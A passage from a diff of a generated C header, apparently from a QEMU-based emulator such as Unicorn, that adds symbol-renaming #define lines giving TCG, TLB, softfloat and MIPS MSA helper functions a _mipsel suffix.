tcg_add_param_i32_mipsel +#define tcg_add_param_i64 tcg_add_param_i64_mipsel +#define tcg_add_target_add_op_defs tcg_add_target_add_op_defs_mipsel +#define tcg_allowed tcg_allowed_mipsel +#define tcg_canonicalize_memop tcg_canonicalize_memop_mipsel +#define tcg_commit tcg_commit_mipsel +#define tcg_cond_to_jcc tcg_cond_to_jcc_mipsel +#define tcg_constant_folding tcg_constant_folding_mipsel +#define tcg_const_i32 tcg_const_i32_mipsel +#define tcg_const_i64 tcg_const_i64_mipsel +#define tcg_const_local_i32 tcg_const_local_i32_mipsel +#define tcg_const_local_i64 tcg_const_local_i64_mipsel +#define tcg_context_init tcg_context_init_mipsel +#define tcg_cpu_address_space_init tcg_cpu_address_space_init_mipsel +#define tcg_cpu_exec tcg_cpu_exec_mipsel +#define tcg_current_code_size tcg_current_code_size_mipsel +#define tcg_dump_info tcg_dump_info_mipsel +#define tcg_dump_ops tcg_dump_ops_mipsel +#define tcg_exec_all tcg_exec_all_mipsel +#define tcg_find_helper tcg_find_helper_mipsel +#define tcg_func_start tcg_func_start_mipsel +#define tcg_gen_abs_i32 tcg_gen_abs_i32_mipsel +#define tcg_gen_add2_i32 tcg_gen_add2_i32_mipsel +#define tcg_gen_add_i32 tcg_gen_add_i32_mipsel +#define tcg_gen_add_i64 tcg_gen_add_i64_mipsel +#define tcg_gen_addi_i32 tcg_gen_addi_i32_mipsel +#define tcg_gen_addi_i64 tcg_gen_addi_i64_mipsel +#define tcg_gen_andc_i32 tcg_gen_andc_i32_mipsel +#define tcg_gen_and_i32 tcg_gen_and_i32_mipsel +#define tcg_gen_and_i64 tcg_gen_and_i64_mipsel +#define tcg_gen_andi_i32 tcg_gen_andi_i32_mipsel +#define tcg_gen_andi_i64 tcg_gen_andi_i64_mipsel +#define tcg_gen_br tcg_gen_br_mipsel +#define tcg_gen_brcond_i32 tcg_gen_brcond_i32_mipsel +#define tcg_gen_brcond_i64 tcg_gen_brcond_i64_mipsel +#define tcg_gen_brcondi_i32 tcg_gen_brcondi_i32_mipsel +#define tcg_gen_bswap16_i32 tcg_gen_bswap16_i32_mipsel +#define tcg_gen_bswap32_i32 tcg_gen_bswap32_i32_mipsel +#define tcg_gen_callN tcg_gen_callN_mipsel +#define tcg_gen_code tcg_gen_code_mipsel +#define tcg_gen_code_common tcg_gen_code_common_mipsel +#define tcg_gen_code_search_pc tcg_gen_code_search_pc_mipsel +#define tcg_gen_concat_i32_i64 tcg_gen_concat_i32_i64_mipsel +#define tcg_gen_debug_insn_start tcg_gen_debug_insn_start_mipsel +#define tcg_gen_deposit_i32 tcg_gen_deposit_i32_mipsel +#define tcg_gen_exit_tb tcg_gen_exit_tb_mipsel +#define tcg_gen_ext16s_i32 tcg_gen_ext16s_i32_mipsel +#define tcg_gen_ext16u_i32 tcg_gen_ext16u_i32_mipsel +#define tcg_gen_ext32s_i64 tcg_gen_ext32s_i64_mipsel +#define tcg_gen_ext32u_i64 tcg_gen_ext32u_i64_mipsel +#define tcg_gen_ext8s_i32 tcg_gen_ext8s_i32_mipsel +#define tcg_gen_ext8u_i32 tcg_gen_ext8u_i32_mipsel +#define tcg_gen_ext_i32_i64 tcg_gen_ext_i32_i64_mipsel +#define tcg_gen_extu_i32_i64 tcg_gen_extu_i32_i64_mipsel +#define tcg_gen_goto_tb tcg_gen_goto_tb_mipsel +#define tcg_gen_ld_i32 tcg_gen_ld_i32_mipsel +#define tcg_gen_ld_i64 tcg_gen_ld_i64_mipsel +#define tcg_gen_ldst_op_i32 tcg_gen_ldst_op_i32_mipsel +#define tcg_gen_ldst_op_i64 tcg_gen_ldst_op_i64_mipsel +#define tcg_gen_movcond_i32 tcg_gen_movcond_i32_mipsel +#define tcg_gen_movcond_i64 tcg_gen_movcond_i64_mipsel +#define tcg_gen_mov_i32 tcg_gen_mov_i32_mipsel +#define tcg_gen_mov_i64 tcg_gen_mov_i64_mipsel +#define tcg_gen_movi_i32 tcg_gen_movi_i32_mipsel +#define tcg_gen_movi_i64 tcg_gen_movi_i64_mipsel +#define tcg_gen_mul_i32 tcg_gen_mul_i32_mipsel +#define tcg_gen_muls2_i32 tcg_gen_muls2_i32_mipsel +#define tcg_gen_mulu2_i32 tcg_gen_mulu2_i32_mipsel +#define tcg_gen_neg_i32 tcg_gen_neg_i32_mipsel +#define tcg_gen_neg_i64 tcg_gen_neg_i64_mipsel +#define tcg_gen_not_i32 tcg_gen_not_i32_mipsel +#define tcg_gen_op0 tcg_gen_op0_mipsel +#define tcg_gen_op1i tcg_gen_op1i_mipsel +#define tcg_gen_op2_i32 tcg_gen_op2_i32_mipsel +#define tcg_gen_op2_i64 tcg_gen_op2_i64_mipsel +#define tcg_gen_op2i_i32 tcg_gen_op2i_i32_mipsel +#define tcg_gen_op2i_i64 tcg_gen_op2i_i64_mipsel +#define tcg_gen_op3_i32 tcg_gen_op3_i32_mipsel +#define tcg_gen_op3_i64 tcg_gen_op3_i64_mipsel +#define tcg_gen_op4_i32 tcg_gen_op4_i32_mipsel +#define tcg_gen_op4i_i32 tcg_gen_op4i_i32_mipsel +#define tcg_gen_op4ii_i32 tcg_gen_op4ii_i32_mipsel +#define tcg_gen_op4ii_i64 tcg_gen_op4ii_i64_mipsel +#define tcg_gen_op5ii_i32 tcg_gen_op5ii_i32_mipsel +#define tcg_gen_op6_i32 tcg_gen_op6_i32_mipsel +#define tcg_gen_op6i_i32 tcg_gen_op6i_i32_mipsel +#define tcg_gen_op6i_i64 tcg_gen_op6i_i64_mipsel +#define tcg_gen_orc_i32 tcg_gen_orc_i32_mipsel +#define tcg_gen_or_i32 tcg_gen_or_i32_mipsel +#define tcg_gen_or_i64 tcg_gen_or_i64_mipsel +#define tcg_gen_ori_i32 tcg_gen_ori_i32_mipsel +#define tcg_gen_qemu_ld_i32 tcg_gen_qemu_ld_i32_mipsel +#define tcg_gen_qemu_ld_i64 tcg_gen_qemu_ld_i64_mipsel +#define tcg_gen_qemu_st_i32 tcg_gen_qemu_st_i32_mipsel +#define tcg_gen_qemu_st_i64 tcg_gen_qemu_st_i64_mipsel +#define tcg_gen_rotl_i32 tcg_gen_rotl_i32_mipsel +#define tcg_gen_rotli_i32 tcg_gen_rotli_i32_mipsel +#define tcg_gen_rotr_i32 tcg_gen_rotr_i32_mipsel +#define tcg_gen_rotri_i32 tcg_gen_rotri_i32_mipsel +#define tcg_gen_sar_i32 tcg_gen_sar_i32_mipsel +#define tcg_gen_sari_i32 tcg_gen_sari_i32_mipsel +#define tcg_gen_setcond_i32 tcg_gen_setcond_i32_mipsel +#define tcg_gen_shl_i32 tcg_gen_shl_i32_mipsel +#define tcg_gen_shl_i64 tcg_gen_shl_i64_mipsel +#define tcg_gen_shli_i32 tcg_gen_shli_i32_mipsel +#define tcg_gen_shli_i64 tcg_gen_shli_i64_mipsel +#define tcg_gen_shr_i32 tcg_gen_shr_i32_mipsel +#define tcg_gen_shifti_i64 tcg_gen_shifti_i64_mipsel +#define tcg_gen_shr_i64 tcg_gen_shr_i64_mipsel +#define tcg_gen_shri_i32 tcg_gen_shri_i32_mipsel +#define tcg_gen_shri_i64 tcg_gen_shri_i64_mipsel +#define tcg_gen_st_i32 tcg_gen_st_i32_mipsel +#define tcg_gen_st_i64 tcg_gen_st_i64_mipsel +#define tcg_gen_sub_i32 tcg_gen_sub_i32_mipsel +#define tcg_gen_sub_i64 tcg_gen_sub_i64_mipsel +#define tcg_gen_subi_i32 tcg_gen_subi_i32_mipsel +#define tcg_gen_trunc_i64_i32 tcg_gen_trunc_i64_i32_mipsel +#define tcg_gen_trunc_shr_i64_i32 tcg_gen_trunc_shr_i64_i32_mipsel +#define tcg_gen_xor_i32 tcg_gen_xor_i32_mipsel +#define tcg_gen_xor_i64 tcg_gen_xor_i64_mipsel +#define tcg_gen_xori_i32 tcg_gen_xori_i32_mipsel +#define tcg_get_arg_str_i32 tcg_get_arg_str_i32_mipsel +#define tcg_get_arg_str_i64 tcg_get_arg_str_i64_mipsel +#define tcg_get_arg_str_idx tcg_get_arg_str_idx_mipsel +#define tcg_global_mem_new_i32 tcg_global_mem_new_i32_mipsel +#define tcg_global_mem_new_i64 tcg_global_mem_new_i64_mipsel +#define tcg_global_mem_new_internal tcg_global_mem_new_internal_mipsel +#define tcg_global_reg_new_i32 tcg_global_reg_new_i32_mipsel +#define tcg_global_reg_new_i64 tcg_global_reg_new_i64_mipsel +#define tcg_global_reg_new_internal tcg_global_reg_new_internal_mipsel +#define tcg_handle_interrupt tcg_handle_interrupt_mipsel +#define tcg_init tcg_init_mipsel +#define tcg_invert_cond tcg_invert_cond_mipsel +#define tcg_la_bb_end tcg_la_bb_end_mipsel +#define tcg_la_br_end tcg_la_br_end_mipsel +#define tcg_la_func_end tcg_la_func_end_mipsel +#define tcg_liveness_analysis tcg_liveness_analysis_mipsel +#define tcg_malloc tcg_malloc_mipsel +#define tcg_malloc_internal tcg_malloc_internal_mipsel +#define tcg_op_defs_org tcg_op_defs_org_mipsel +#define tcg_opt_gen_mov tcg_opt_gen_mov_mipsel +#define tcg_opt_gen_movi tcg_opt_gen_movi_mipsel +#define tcg_optimize tcg_optimize_mipsel +#define tcg_out16 tcg_out16_mipsel +#define tcg_out32 tcg_out32_mipsel +#define tcg_out64 tcg_out64_mipsel +#define tcg_out8 tcg_out8_mipsel +#define tcg_out_addi tcg_out_addi_mipsel +#define tcg_out_branch tcg_out_branch_mipsel +#define tcg_out_brcond32 tcg_out_brcond32_mipsel +#define tcg_out_brcond64 tcg_out_brcond64_mipsel +#define tcg_out_bswap32 tcg_out_bswap32_mipsel +#define tcg_out_bswap64 tcg_out_bswap64_mipsel +#define tcg_out_call tcg_out_call_mipsel +#define tcg_out_cmp tcg_out_cmp_mipsel +#define tcg_out_ext16s tcg_out_ext16s_mipsel +#define tcg_out_ext16u tcg_out_ext16u_mipsel +#define tcg_out_ext32s tcg_out_ext32s_mipsel +#define tcg_out_ext32u tcg_out_ext32u_mipsel +#define tcg_out_ext8s tcg_out_ext8s_mipsel +#define tcg_out_ext8u tcg_out_ext8u_mipsel +#define tcg_out_jmp tcg_out_jmp_mipsel +#define tcg_out_jxx tcg_out_jxx_mipsel +#define tcg_out_label tcg_out_label_mipsel +#define tcg_out_ld tcg_out_ld_mipsel +#define tcg_out_modrm tcg_out_modrm_mipsel +#define tcg_out_modrm_offset tcg_out_modrm_offset_mipsel +#define tcg_out_modrm_sib_offset tcg_out_modrm_sib_offset_mipsel +#define tcg_out_mov tcg_out_mov_mipsel +#define tcg_out_movcond32 tcg_out_movcond32_mipsel +#define tcg_out_movcond64 tcg_out_movcond64_mipsel +#define tcg_out_movi tcg_out_movi_mipsel +#define tcg_out_op tcg_out_op_mipsel +#define tcg_out_pop tcg_out_pop_mipsel +#define tcg_out_push tcg_out_push_mipsel +#define tcg_out_qemu_ld tcg_out_qemu_ld_mipsel +#define tcg_out_qemu_ld_direct tcg_out_qemu_ld_direct_mipsel +#define tcg_out_qemu_ld_slow_path tcg_out_qemu_ld_slow_path_mipsel +#define tcg_out_qemu_st tcg_out_qemu_st_mipsel +#define tcg_out_qemu_st_direct tcg_out_qemu_st_direct_mipsel +#define tcg_out_qemu_st_slow_path tcg_out_qemu_st_slow_path_mipsel +#define tcg_out_reloc tcg_out_reloc_mipsel +#define tcg_out_rolw_8 tcg_out_rolw_8_mipsel +#define tcg_out_setcond32 tcg_out_setcond32_mipsel +#define tcg_out_setcond64 tcg_out_setcond64_mipsel +#define tcg_out_shifti tcg_out_shifti_mipsel +#define tcg_out_st tcg_out_st_mipsel +#define tcg_out_tb_finalize tcg_out_tb_finalize_mipsel +#define tcg_out_tb_init tcg_out_tb_init_mipsel +#define tcg_out_tlb_load tcg_out_tlb_load_mipsel +#define tcg_out_vex_modrm tcg_out_vex_modrm_mipsel +#define tcg_patch32 tcg_patch32_mipsel +#define tcg_patch8 tcg_patch8_mipsel +#define tcg_pcrel_diff tcg_pcrel_diff_mipsel +#define tcg_pool_reset tcg_pool_reset_mipsel +#define tcg_prologue_init tcg_prologue_init_mipsel +#define tcg_ptr_byte_diff tcg_ptr_byte_diff_mipsel +#define tcg_reg_alloc tcg_reg_alloc_mipsel +#define tcg_reg_alloc_bb_end tcg_reg_alloc_bb_end_mipsel +#define tcg_reg_alloc_call tcg_reg_alloc_call_mipsel +#define tcg_reg_alloc_mov tcg_reg_alloc_mov_mipsel +#define tcg_reg_alloc_movi tcg_reg_alloc_movi_mipsel +#define tcg_reg_alloc_op tcg_reg_alloc_op_mipsel +#define tcg_reg_alloc_start tcg_reg_alloc_start_mipsel +#define tcg_reg_free tcg_reg_free_mipsel +#define tcg_reg_sync tcg_reg_sync_mipsel +#define tcg_set_frame tcg_set_frame_mipsel +#define tcg_set_nop tcg_set_nop_mipsel +#define tcg_swap_cond tcg_swap_cond_mipsel +#define tcg_target_callee_save_regs tcg_target_callee_save_regs_mipsel +#define tcg_target_call_iarg_regs tcg_target_call_iarg_regs_mipsel +#define tcg_target_call_oarg_regs tcg_target_call_oarg_regs_mipsel +#define tcg_target_const_match tcg_target_const_match_mipsel +#define tcg_target_init tcg_target_init_mipsel +#define tcg_target_qemu_prologue tcg_target_qemu_prologue_mipsel +#define tcg_target_reg_alloc_order tcg_target_reg_alloc_order_mipsel +#define tcg_temp_alloc tcg_temp_alloc_mipsel +#define tcg_temp_free_i32 tcg_temp_free_i32_mipsel +#define tcg_temp_free_i64 tcg_temp_free_i64_mipsel +#define tcg_temp_free_internal tcg_temp_free_internal_mipsel +#define tcg_temp_local_new_i32 tcg_temp_local_new_i32_mipsel +#define tcg_temp_local_new_i64 tcg_temp_local_new_i64_mipsel +#define tcg_temp_new_i32 tcg_temp_new_i32_mipsel +#define tcg_temp_new_i64 tcg_temp_new_i64_mipsel +#define tcg_temp_new_internal tcg_temp_new_internal_mipsel +#define tcg_temp_new_internal_i32 tcg_temp_new_internal_i32_mipsel +#define tcg_temp_new_internal_i64 tcg_temp_new_internal_i64_mipsel +#define tdb_hash tdb_hash_mipsel +#define teecr_write teecr_write_mipsel +#define teehbr_access teehbr_access_mipsel +#define temp_allocate_frame temp_allocate_frame_mipsel +#define temp_dead temp_dead_mipsel +#define temps_are_copies temps_are_copies_mipsel +#define temp_save temp_save_mipsel +#define temp_sync temp_sync_mipsel +#define tgen_arithi tgen_arithi_mipsel +#define tgen_arithr tgen_arithr_mipsel +#define thumb2_logic_op thumb2_logic_op_mipsel +#define ti925t_initfn ti925t_initfn_mipsel +#define tlb_add_large_page tlb_add_large_page_mipsel +#define tlb_flush_entry tlb_flush_entry_mipsel +#define tlbi_aa64_asid_is_write tlbi_aa64_asid_is_write_mipsel +#define tlbi_aa64_asid_write tlbi_aa64_asid_write_mipsel +#define tlbi_aa64_vaa_is_write tlbi_aa64_vaa_is_write_mipsel +#define tlbi_aa64_vaa_write tlbi_aa64_vaa_write_mipsel +#define tlbi_aa64_va_is_write tlbi_aa64_va_is_write_mipsel +#define tlbi_aa64_va_write tlbi_aa64_va_write_mipsel +#define tlbiall_is_write tlbiall_is_write_mipsel +#define tlbiall_write tlbiall_write_mipsel +#define tlbiasid_is_write tlbiasid_is_write_mipsel +#define tlbiasid_write tlbiasid_write_mipsel +#define tlbimvaa_is_write tlbimvaa_is_write_mipsel +#define tlbimvaa_write tlbimvaa_write_mipsel +#define tlbimva_is_write tlbimva_is_write_mipsel +#define tlbimva_write tlbimva_write_mipsel +#define tlb_is_dirty_ram tlb_is_dirty_ram_mipsel +#define tlb_protect_code tlb_protect_code_mipsel +#define tlb_reset_dirty_range tlb_reset_dirty_range_mipsel +#define tlb_reset_dirty_range_all tlb_reset_dirty_range_all_mipsel +#define tlb_set_dirty tlb_set_dirty_mipsel +#define tlb_set_dirty1 tlb_set_dirty1_mipsel +#define tlb_unprotect_code_phys tlb_unprotect_code_phys_mipsel +#define tlb_vaddr_to_host tlb_vaddr_to_host_mipsel +#define token_get_type token_get_type_mipsel +#define token_get_value token_get_value_mipsel +#define token_is_escape token_is_escape_mipsel +#define token_is_keyword token_is_keyword_mipsel +#define token_is_operator token_is_operator_mipsel +#define tokens_append_from_iter tokens_append_from_iter_mipsel +#define to_qiv to_qiv_mipsel +#define to_qov to_qov_mipsel +#define tosa_init tosa_init_mipsel +#define tosa_machine_init tosa_machine_init_mipsel +#define tswap32 tswap32_mipsel +#define tswap64 tswap64_mipsel +#define type_class_get_size type_class_get_size_mipsel +#define type_get_by_name type_get_by_name_mipsel +#define type_get_parent type_get_parent_mipsel +#define type_has_parent type_has_parent_mipsel +#define type_initialize type_initialize_mipsel +#define type_initialize_interface type_initialize_interface_mipsel +#define type_is_ancestor type_is_ancestor_mipsel +#define type_new type_new_mipsel +#define type_object_get_size type_object_get_size_mipsel +#define type_register_internal type_register_internal_mipsel +#define type_table_add type_table_add_mipsel +#define type_table_get type_table_get_mipsel +#define type_table_lookup type_table_lookup_mipsel +#define uint16_to_float32 uint16_to_float32_mipsel +#define uint16_to_float64 uint16_to_float64_mipsel +#define uint32_to_float32 uint32_to_float32_mipsel +#define uint32_to_float64 uint32_to_float64_mipsel +#define uint64_to_float128 uint64_to_float128_mipsel +#define uint64_to_float32 uint64_to_float32_mipsel +#define uint64_to_float64 uint64_to_float64_mipsel +#define unassigned_io_ops unassigned_io_ops_mipsel +#define unassigned_io_read unassigned_io_read_mipsel +#define unassigned_io_write unassigned_io_write_mipsel +#define unassigned_mem_accepts unassigned_mem_accepts_mipsel +#define unassigned_mem_ops unassigned_mem_ops_mipsel +#define unassigned_mem_read unassigned_mem_read_mipsel +#define unassigned_mem_write unassigned_mem_write_mipsel +#define update_spsel update_spsel_mipsel +#define v6_cp_reginfo v6_cp_reginfo_mipsel +#define v6k_cp_reginfo v6k_cp_reginfo_mipsel +#define v7_cp_reginfo v7_cp_reginfo_mipsel +#define v7mp_cp_reginfo v7mp_cp_reginfo_mipsel +#define v7m_pop v7m_pop_mipsel +#define v7m_push v7m_push_mipsel +#define v8_cp_reginfo v8_cp_reginfo_mipsel +#define v8_el2_cp_reginfo v8_el2_cp_reginfo_mipsel +#define v8_el3_cp_reginfo v8_el3_cp_reginfo_mipsel +#define v8_el3_no_el2_cp_reginfo v8_el3_no_el2_cp_reginfo_mipsel +#define vapa_cp_reginfo vapa_cp_reginfo_mipsel +#define vbar_write vbar_write_mipsel +#define vfp_exceptbits_from_host vfp_exceptbits_from_host_mipsel +#define vfp_exceptbits_to_host vfp_exceptbits_to_host_mipsel +#define vfp_get_fpcr vfp_get_fpcr_mipsel +#define vfp_get_fpscr vfp_get_fpscr_mipsel +#define vfp_get_fpsr vfp_get_fpsr_mipsel +#define vfp_reg_offset vfp_reg_offset_mipsel +#define vfp_set_fpcr vfp_set_fpcr_mipsel +#define vfp_set_fpscr vfp_set_fpscr_mipsel +#define vfp_set_fpsr vfp_set_fpsr_mipsel +#define visit_end_implicit_struct visit_end_implicit_struct_mipsel +#define visit_end_list visit_end_list_mipsel +#define visit_end_struct visit_end_struct_mipsel +#define visit_end_union visit_end_union_mipsel +#define visit_get_next_type visit_get_next_type_mipsel +#define visit_next_list visit_next_list_mipsel +#define visit_optional visit_optional_mipsel +#define visit_start_implicit_struct visit_start_implicit_struct_mipsel +#define visit_start_list visit_start_list_mipsel +#define visit_start_struct visit_start_struct_mipsel +#define visit_start_union visit_start_union_mipsel +#define vmsa_cp_reginfo vmsa_cp_reginfo_mipsel +#define vmsa_tcr_el1_write vmsa_tcr_el1_write_mipsel +#define vmsa_ttbcr_raw_write vmsa_ttbcr_raw_write_mipsel +#define vmsa_ttbcr_reset vmsa_ttbcr_reset_mipsel +#define vmsa_ttbcr_write vmsa_ttbcr_write_mipsel +#define vmsa_ttbr_write vmsa_ttbr_write_mipsel +#define write_cpustate_to_list write_cpustate_to_list_mipsel +#define write_list_to_cpustate write_list_to_cpustate_mipsel +#define write_raw_cp_reg write_raw_cp_reg_mipsel +#define X86CPURegister32_lookup X86CPURegister32_lookup_mipsel +#define x86_op_defs x86_op_defs_mipsel +#define xpsr_read xpsr_read_mipsel +#define xpsr_write xpsr_write_mipsel +#define xscale_cpar_write xscale_cpar_write_mipsel +#define xscale_cp_reginfo xscale_cp_reginfo_mipsel +#define cpu_mips_exec cpu_mips_exec_mipsel +#define cpu_mips_get_random cpu_mips_get_random_mipsel +#define cpu_mips_get_count cpu_mips_get_count_mipsel +#define cpu_mips_store_count cpu_mips_store_count_mipsel +#define cpu_mips_store_compare cpu_mips_store_compare_mipsel +#define cpu_mips_start_count cpu_mips_start_count_mipsel +#define cpu_mips_stop_count cpu_mips_stop_count_mipsel +#define mips_machine_init mips_machine_init_mipsel +#define cpu_mips_kseg0_to_phys cpu_mips_kseg0_to_phys_mipsel +#define cpu_mips_phys_to_kseg0 cpu_mips_phys_to_kseg0_mipsel +#define cpu_mips_kvm_um_phys_to_kseg0 cpu_mips_kvm_um_phys_to_kseg0_mipsel +#define mips_cpu_register_types mips_cpu_register_types_mipsel +#define cpu_mips_init cpu_mips_init_mipsel +#define cpu_state_reset cpu_state_reset_mipsel +#define helper_msa_andi_b helper_msa_andi_b_mipsel +#define helper_msa_ori_b helper_msa_ori_b_mipsel +#define helper_msa_nori_b helper_msa_nori_b_mipsel +#define helper_msa_xori_b helper_msa_xori_b_mipsel +#define helper_msa_bmnzi_b helper_msa_bmnzi_b_mipsel +#define helper_msa_bmzi_b helper_msa_bmzi_b_mipsel +#define helper_msa_bseli_b helper_msa_bseli_b_mipsel +#define helper_msa_shf_df helper_msa_shf_df_mipsel +#define helper_msa_and_v helper_msa_and_v_mipsel +#define helper_msa_or_v helper_msa_or_v_mipsel +#define helper_msa_nor_v helper_msa_nor_v_mipsel +#define helper_msa_xor_v helper_msa_xor_v_mipsel +#define helper_msa_bmnz_v helper_msa_bmnz_v_mipsel +#define helper_msa_bmz_v helper_msa_bmz_v_mipsel +#define helper_msa_bsel_v helper_msa_bsel_v_mipsel +#define helper_msa_addvi_df helper_msa_addvi_df_mipsel +#define helper_msa_subvi_df helper_msa_subvi_df_mipsel +#define helper_msa_ceqi_df helper_msa_ceqi_df_mipsel +#define helper_msa_clei_s_df helper_msa_clei_s_df_mipsel +#define helper_msa_clei_u_df helper_msa_clei_u_df_mipsel +#define helper_msa_clti_s_df helper_msa_clti_s_df_mipsel +#define helper_msa_clti_u_df helper_msa_clti_u_df_mipsel +#define helper_msa_maxi_s_df helper_msa_maxi_s_df_mipsel +#define helper_msa_maxi_u_df helper_msa_maxi_u_df_mipsel +#define helper_msa_mini_s_df helper_msa_mini_s_df_mipsel +#define helper_msa_mini_u_df helper_msa_mini_u_df_mipsel +#define helper_msa_ldi_df helper_msa_ldi_df_mipsel +#define helper_msa_slli_df helper_msa_slli_df_mipsel +#define helper_msa_srai_df helper_msa_srai_df_mipsel +#define helper_msa_srli_df helper_msa_srli_df_mipsel +#define helper_msa_bclri_df helper_msa_bclri_df_mipsel +#define helper_msa_bseti_df helper_msa_bseti_df_mipsel +#define helper_msa_bnegi_df helper_msa_bnegi_df_mipsel +#define helper_msa_sat_s_df helper_msa_sat_s_df_mipsel +#define helper_msa_sat_u_df helper_msa_sat_u_df_mipsel +#define helper_msa_srari_df helper_msa_srari_df_mipsel +#define helper_msa_srlri_df helper_msa_srlri_df_mipsel +#define helper_msa_binsli_df helper_msa_binsli_df_mipsel +#define helper_msa_binsri_df helper_msa_binsri_df_mipsel +#define helper_msa_sll_df helper_msa_sll_df_mipsel +#define helper_msa_sra_df helper_msa_sra_df_mipsel +#define helper_msa_srl_df helper_msa_srl_df_mipsel +#define helper_msa_bclr_df helper_msa_bclr_df_mipsel +#define helper_msa_bset_df helper_msa_bset_df_mipsel +#define helper_msa_bneg_df helper_msa_bneg_df_mipsel +#define helper_msa_addv_df helper_msa_addv_df_mipsel +#define helper_msa_subv_df helper_msa_subv_df_mipsel +#define helper_msa_max_s_df helper_msa_max_s_df_mipsel +#define helper_msa_max_u_df helper_msa_max_u_df_mipsel +#define helper_msa_min_s_df helper_msa_min_s_df_mipsel +#define helper_msa_min_u_df helper_msa_min_u_df_mipsel +#define helper_msa_max_a_df helper_msa_max_a_df_mipsel +#define helper_msa_min_a_df helper_msa_min_a_df_mipsel +#define helper_msa_ceq_df helper_msa_ceq_df_mipsel +#define helper_msa_clt_s_df helper_msa_clt_s_df_mipsel +#define helper_msa_clt_u_df helper_msa_clt_u_df_mipsel +#define helper_msa_cle_s_df helper_msa_cle_s_df_mipsel +#define helper_msa_cle_u_df helper_msa_cle_u_df_mipsel +#define helper_msa_add_a_df helper_msa_add_a_df_mipsel +#define helper_msa_adds_a_df helper_msa_adds_a_df_mipsel +#define helper_msa_adds_s_df helper_msa_adds_s_df_mipsel +#define helper_msa_adds_u_df helper_msa_adds_u_df_mipsel +#define helper_msa_ave_s_df helper_msa_ave_s_df_mipsel +#define helper_msa_ave_u_df helper_msa_ave_u_df_mipsel +#define helper_msa_aver_s_df helper_msa_aver_s_df_mipsel +#define helper_msa_aver_u_df helper_msa_aver_u_df_mipsel +#define helper_msa_subs_s_df helper_msa_subs_s_df_mipsel +#define helper_msa_subs_u_df helper_msa_subs_u_df_mipsel +#define helper_msa_subsus_u_df helper_msa_subsus_u_df_mipsel +#define helper_msa_subsuu_s_df helper_msa_subsuu_s_df_mipsel +#define helper_msa_asub_s_df helper_msa_asub_s_df_mipsel +#define helper_msa_asub_u_df helper_msa_asub_u_df_mipsel +#define helper_msa_mulv_df helper_msa_mulv_df_mipsel +#define helper_msa_div_s_df helper_msa_div_s_df_mipsel +#define helper_msa_div_u_df helper_msa_div_u_df_mipsel +#define helper_msa_mod_s_df helper_msa_mod_s_df_mipsel +#define helper_msa_mod_u_df helper_msa_mod_u_df_mipsel +#define helper_msa_dotp_s_df helper_msa_dotp_s_df_mipsel +#define helper_msa_dotp_u_df helper_msa_dotp_u_df_mipsel +#define helper_msa_srar_df helper_msa_srar_df_mipsel +#define helper_msa_srlr_df helper_msa_srlr_df_mipsel +#define helper_msa_hadd_s_df helper_msa_hadd_s_df_mipsel +#define helper_msa_hadd_u_df helper_msa_hadd_u_df_mipsel +#define helper_msa_hsub_s_df helper_msa_hsub_s_df_mipsel +#define helper_msa_hsub_u_df helper_msa_hsub_u_df_mipsel +#define helper_msa_mul_q_df helper_msa_mul_q_df_mipsel +#define helper_msa_mulr_q_df helper_msa_mulr_q_df_mipsel +#define helper_msa_sld_df helper_msa_sld_df_mipsel +#define helper_msa_maddv_df helper_msa_maddv_df_mipsel +#define helper_msa_msubv_df helper_msa_msubv_df_mipsel +#define helper_msa_dpadd_s_df helper_msa_dpadd_s_df_mipsel +#define helper_msa_dpadd_u_df helper_msa_dpadd_u_df_mipsel +#define helper_msa_dpsub_s_df helper_msa_dpsub_s_df_mipsel +#define helper_msa_dpsub_u_df helper_msa_dpsub_u_df_mipsel +#define helper_msa_binsl_df helper_msa_binsl_df_mipsel +#define helper_msa_binsr_df helper_msa_binsr_df_mipsel +#define helper_msa_madd_q_df helper_msa_madd_q_df_mipsel +#define helper_msa_msub_q_df helper_msa_msub_q_df_mipsel +#define helper_msa_maddr_q_df helper_msa_maddr_q_df_mipsel +#define helper_msa_msubr_q_df helper_msa_msubr_q_df_mipsel +#define helper_msa_splat_df helper_msa_splat_df_mipsel +#define helper_msa_pckev_df helper_msa_pckev_df_mipsel +#define helper_msa_pckod_df helper_msa_pckod_df_mipsel +#define helper_msa_ilvl_df helper_msa_ilvl_df_mipsel +#define helper_msa_ilvr_df helper_msa_ilvr_df_mipsel +#define helper_msa_ilvev_df helper_msa_ilvev_df_mipsel +#define helper_msa_ilvod_df helper_msa_ilvod_df_mipsel +#define helper_msa_vshf_df helper_msa_vshf_df_mipsel +#define helper_msa_sldi_df helper_msa_sldi_df_mipsel +#define helper_msa_splati_df helper_msa_splati_df_mipsel +#define helper_msa_copy_s_df helper_msa_copy_s_df_mipsel +#define helper_msa_copy_u_df helper_msa_copy_u_df_mipsel +#define helper_msa_insert_df helper_msa_insert_df_mipsel +#define helper_msa_insve_df helper_msa_insve_df_mipsel +#define helper_msa_ctcmsa helper_msa_ctcmsa_mipsel +#define helper_msa_cfcmsa helper_msa_cfcmsa_mipsel +#define helper_msa_move_v helper_msa_move_v_mipsel +#define helper_msa_fill_df helper_msa_fill_df_mipsel +#define helper_msa_nlzc_df helper_msa_nlzc_df_mipsel +#define helper_msa_nloc_df helper_msa_nloc_df_mipsel +#define helper_msa_pcnt_df helper_msa_pcnt_df_mipsel +#define helper_msa_fcaf_df helper_msa_fcaf_df_mipsel +#define helper_msa_fcun_df helper_msa_fcun_df_mipsel +#define helper_msa_fceq_df helper_msa_fceq_df_mipsel +#define helper_msa_fcueq_df helper_msa_fcueq_df_mipsel +#define helper_msa_fclt_df helper_msa_fclt_df_mipsel +#define helper_msa_fcult_df helper_msa_fcult_df_mipsel +#define helper_msa_fcle_df helper_msa_fcle_df_mipsel +#define helper_msa_fcule_df helper_msa_fcule_df_mipsel +#define helper_msa_fsaf_df helper_msa_fsaf_df_mipsel +#define helper_msa_fsun_df helper_msa_fsun_df_mipsel +#define helper_msa_fseq_df helper_msa_fseq_df_mipsel +#define helper_msa_fsueq_df helper_msa_fsueq_df_mipsel +#define helper_msa_fslt_df helper_msa_fslt_df_mipsel +#define helper_msa_fsult_df helper_msa_fsult_df_mipsel +#define helper_msa_fsle_df helper_msa_fsle_df_mipsel +#define helper_msa_fsule_df helper_msa_fsule_df_mipsel +#define helper_msa_fcor_df helper_msa_fcor_df_mipsel +#define helper_msa_fcune_df helper_msa_fcune_df_mipsel +#define helper_msa_fcne_df helper_msa_fcne_df_mipsel +#define helper_msa_fsor_df helper_msa_fsor_df_mipsel +#define helper_msa_fsune_df helper_msa_fsune_df_mipsel +#define 